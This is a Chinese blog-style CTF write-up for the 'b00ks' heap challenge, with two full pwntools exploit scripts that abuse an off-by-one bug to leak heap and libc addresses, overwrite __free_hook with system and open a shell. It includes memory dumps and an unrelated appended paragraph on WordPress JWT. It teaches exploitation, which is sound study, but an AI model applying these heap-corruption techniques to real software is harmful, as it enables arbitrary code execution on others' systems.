第一次接触堆题--wp

第一次接触堆题b00ks–wp

b00ks

考察off-by-one

漏洞点在

分析exp

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8

import sys
import os
import os.path
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p=process('./b00ks')

#p=remote('node3.buuoj.cn',26386)

def cmd(choice):
    p.recvuntil('> ')
    p.sendline(str(choice))

def create(book_size, book_name, desc_size, desc):
    cmd(1)
    p.recvuntil(': ')
    p.sendline(str(book_size))
    p.recvuntil(': ')
    if len(book_name) == book_size:
        p.send(book_name)
    else:
        p.sendline(book_name)
    p.recvuntil(': ')
    p.sendline(str(desc_size))
    p.recvuntil(': ')
    if len(desc) == desc_size:
        p.send(desc)
    else:
        p.sendline(desc)

def remove(idx):
    cmd(2)
    p.recvuntil(': ')
    p.sendline(str(idx))

def edit(idx, desc):
    cmd(3)
    p.recvuntil(': ')
    p.sendline(str(idx))
    p.recvuntil(': ')
    p.send(desc)

def author_name(author):
    cmd(5)
    p.recvuntil(': ')
    p.send(author)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def main():
    p.recvuntil('name: ')
    p.sendline('x' * (0x20 - 5) + 'leak:')
    #pause()
    create(0x20, 'tmp a', 0x20, 'b') # 1
    cmd(4)
    p.recvuntil('Author: ')
    p.recvuntil('leak:')
    heap_leak = u64(p.recvline().strip().ljust(8, '\x00'))
    
    p.info('heap leak @ 0x%x' % heap_leak)
    heap_base = heap_leak - 0x1080
    #0x0000555555758080 - 0x1080 = 0x555555757000
    create(0x20, 'buf 1', 0x20, 'desc buf') # 2
    create(0x20, 'buf 2', 0x20, 'desc buf 2') # 3
    
    gdb.attach(p)
    remove(2)
    remove(3)
    pause()
    ptr = heap_base + 0x1180
    pause()
    payload = p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)
    create(0x20, 'name', 0x108, 'overflow') # 4
    create(0x20, 'name', 0x100 - 0x10, 'target') # 5
    create(0x20, '/bin/sh\x00', 0x200, 'to arbitrary read write') # 6
    edit(4, payload)
    remove(5)
    edit(4, p64(0x30) + p64(4) + p64(heap_base + 0x11a0) + p64(heap_base + 0x10c0) + '\n')

    def write_to(addr, content, size):
        edit(4, p64(addr) + p64(size + 0x100) + '\n')
        edit(6, content + '\n')

    def read_at(addr):
        edit(4, p64(addr) + '\n')
        cmd(4)
        p.recvuntil('Description: ')
        p.recvuntil('Description: ')
        p.recvuntil('Description: ')
        content = p.recvline()[:-1]
        p.info(content)
        return content

    libc_leak = u64(read_at(heap_base + 0x11e0).ljust(8, '\x00')) - 0x3c4b78
    p.info('libc leak @ 0x%x' % libc_leak)
    write_to(libc_leak + libc.symbols['__free_hook'], p64(libc_leak + libc.symbols['system']), 0x10)
    remove(6)
    p.interactive()

if __name__ == '__main__':
    main()

创建的book2(绿),book3(红)
在这里插入图片描述

free后

在这里插入图片描述

free形成的fastbins链流程

在这里插入图片描述

再次创建book4

在这里插入图片描述

查看heap堆进行验证

在这里插入图片描述

猜想正确,所以目前来说

book4
book_ptr = 0x56049cade160
bookname_ptr = 0x56049cade190
description_ptr = 0x56049cade1c0

在这里插入图片描述

这里创建了三本书ID=4、5、6

接着分析5,6

在这里插入图片描述

book5
book_ptr = 0x56049cade100
bookname_ptr = 0x56049cade130
description_ptr = 0x56049cade2d0

在这里插入图片描述

book6
book_ptr = 0x56049cade0a0
bookname_ptr = 0x56049cade0d0
description_ptr = 0x56049cade3d0

然后对book4的description进行伪造book_chunk且这个chunk为使用中的chunk

payload
p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)

结构如下:

0x56049cade1d0:	0x0000000000000000	0x0000000000000101
0x56049cade1e0:	0x000056049cade168	0x000056049cade170
0x56049cade1f0:	0x0000000000000000	0x0000000000000000
0x56049cade200:	0x0000000000000000	0x0000000000000000
0x56049cade210:	0x0000000000000000	0x0000000000000000
0x56049cade220:	0x0000000000000000	0x0000000000000000
0x56049cade230:	0x0000000000000000	0x0000000000000000
0x56049cade240:	0x0000000000000000	0x0000000000000000
0x56049cade250:	0x0000000000000000	0x0000000000000000
0x56049cade260:	0x0000000000000000	0x0000000000000000
0x56049cade270:	0x0000000000000000	0x0000000000000000
0x56049cade280:	0x0000000000000000	0x0000000000000000
0x56049cade290:	0x0000000000000000	0x0000000000000000
0x56049cade2a0:	0x0000000000000000	0x0000000000000000
0x56049cade2b0:	0x0000000000000000	0x0000000000000000
0x56049cade2c0:	0x0000000000000000	0x0000000000000000
0x56049cade2d0:	0x0000000000000100	0x0000000000000100

在写的时候还把book5的description_chunk的p位改了

同时删除book5,触发unlink


到这里就不懂了QAQ。。。

另外的思路

还是off_by_one

前面步骤相同

但是后面就不利用unlink

注意—这里创建的是很大的空间add(0x2100,‘name’,0x2100,‘description’)

这样就能利用mmap去创建这个堆块,同时因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址

在这里插入图片描述

可以看到book2的description的ptr变成了0x00007fee88872010,且heap里没有看到它

这就是通过mmap创建的堆块

并且和libc的基址存在固定偏移

现在就需要去泄露这块地址

方法就是通过 选择4 输出fake_book

fake_book的结构如下

在这里插入图片描述

id=1
name_ptr=0x000055ace53e6198
description_ptr=0x000055ace53e6198
//	0x000055ace53e6198  --->这个地址是book2的ptr+8也就是存储的是book2的			   
					description_ptr=0x00007fee882c1000
description_size=0x1000

重新编辑ather_name,将book1的ptr后一字节覆盖为\x00,从而指向我们的fake_book

0x55ace53e6160--->0x55ace53e6100

当选项4时

name和description就会输出0x00007fee882c1000

之后减去固定偏移,这样就能得到libc的基址

在这里插入图片描述

libc_base = book2_des_ptr-0x5b1010

得到了libc的基址

就能得到free_hook和system函数的got

free_hook = libc_base+libc.symbols["__free_hook"]
system = libc_base+libc.symbols["system"]

最后一步

将system的值写入到free_hook的地址处,并触发free()函数(free掉的地址里应该填入"/bin/sh")


怎样写入呢

答:还是fake_book

之前通过向fake_book写入了book2的description指针所在的地址

也就是

fake_book.description = book2_ptr+8(表示book2.name的所在的地址)

所以当我们edit(1)时

就是对book2_ptr+8这个地址里的内容(原来存储name的地址)进行覆写

所以我们可以写入free_hook的地址

当我们edit(2)时

编写的就是free_hook的地址里面的内容

exp

edit(1,p64(bin_sh)+p64(free_hook))
edit(2,system)
remove(2)

完整exp

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8

import sys
import os
import os.path
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p=process('./b00ks')

#p=remote('node3.buuoj.cn',26386)

def cmd(choice):
    p.recvuntil('> ')
    p.sendline(str(choice))

def create(book_size, book_name, desc_size, desc):
    cmd(1)
    p.recvuntil(': ')
    p.sendline(str(book_size))
    p.recvuntil(': ')
    if len(book_name) == book_size:
        p.send(book_name)
    else:
        p.sendline(book_name)
    p.recvuntil(': ')
    p.sendline(str(desc_size))
    p.recvuntil(': ')
    if len(desc) == desc_size:
        p.send(desc)
    else:
        p.sendline(desc)

def remove(idx):
    cmd(2)
    p.recvuntil(': ')
    p.sendline(str(idx))

def edit(idx, desc):
    cmd(3)
    p.recvuntil(': ')
    p.sendline(str(idx))
    p.recvuntil(': ')
    p.sendline(desc)

def author_name(author):
    cmd(5)
    p.recvuntil(': ')
    p.sendline(author)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def main():
    p.recvuntil('name: ')
    p.sendline('x' * (0x20 - 5) + 'leak:')
    #pause()
    create(0x90, 'tmp a', 0x90, 'b') # 1
    
    cmd(4)
    p.recvuntil('Author: ')
    p.recvuntil('leak:')
    heap_leak = u64(p.recvline().strip().ljust(8, '\x00'))
    create(0x21000,"aaa",0x21000,"bbb")
    p.info('heap leak @ 0x%x' % heap_leak)
    
    payload1='a'*0x40+p64(1)+p64(heap_leak+0x38)*2+p64(0x1000)
    
    edit(1, payload1)
    author_name('a'*0x20)
    cmd(4)
    p.recvuntil('Name: ')
    book2_des_ptr = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = book2_des_ptr-0x5b1010
    print("libc "+hex(libc_base))

    
    #pause()
    free_hook = libc_base + libc.symbols["__free_hook"]
    system = libc_base+libc.symbols["system"]
    bin_sh = libc_base+libc.search("/bin/sh").next()

    edit(1,p64(bin_sh)+p64(free_hook))
    #gdb.attach(p)
    
    edit(2,p64(system))
    #pause()
    remove(2)
    
    p.interactive()

if __name__ == "__main__":
    main()
    

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
WP-REST-API 是WordPress 的一种接口,它通过提供标准化的RESTful API,允许开发人员使用HTTP请求来访问和操作WordPress站点的内容和数据。通过这个接口,开发人员可以使用不同的编程语言和技术来与WordPress进行交互,从而使得开发更加灵活和自由。 JWT(JSON Web Token)是一种用于认证和授权的开放标准。它通过将用户信息和权限信息编码成一种加密的令牌,以实现跨服务器和跨域的身份验证。JWT 是由三部分组成的:头部、负载和签名。头部包含令牌的加密算法和类型信息,负载包含用户的相关信息,签名用于验证令牌的真实性和完整性。 WP-REST-API JWT整合了WordPress的REST API和JWT的认证机制,使得在使用WP-REST-API进行开发的过程中,可以增加身份验证和授权的功能。它允许开发人员在请求WordPress REST API时,通过在请求头或参数中提供有效的JWT令牌来验证用户的身份和权限,并根据令牌中的负载信息来进行授权。 WP-REST-API JWT的使用具有很多优势。首先,它提供了一种轻量级的身份验证方式,减少了开发的复杂性。其次,通过JWT令牌的机制,可以实现无状态的认证和授权,提高了性能和可扩展性。此外,JWT还提供了一种可靠的机制来防止伪造和篡改请求数据,增强了系统的安全性。 总而言之,WP-REST-API JWT为开发人员提供了一种方便、灵活和安全的方式来使用WordPress的REST API。它简化了身份验证和授权的过程,并通过使用JWT令牌提高了系统的性能和安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值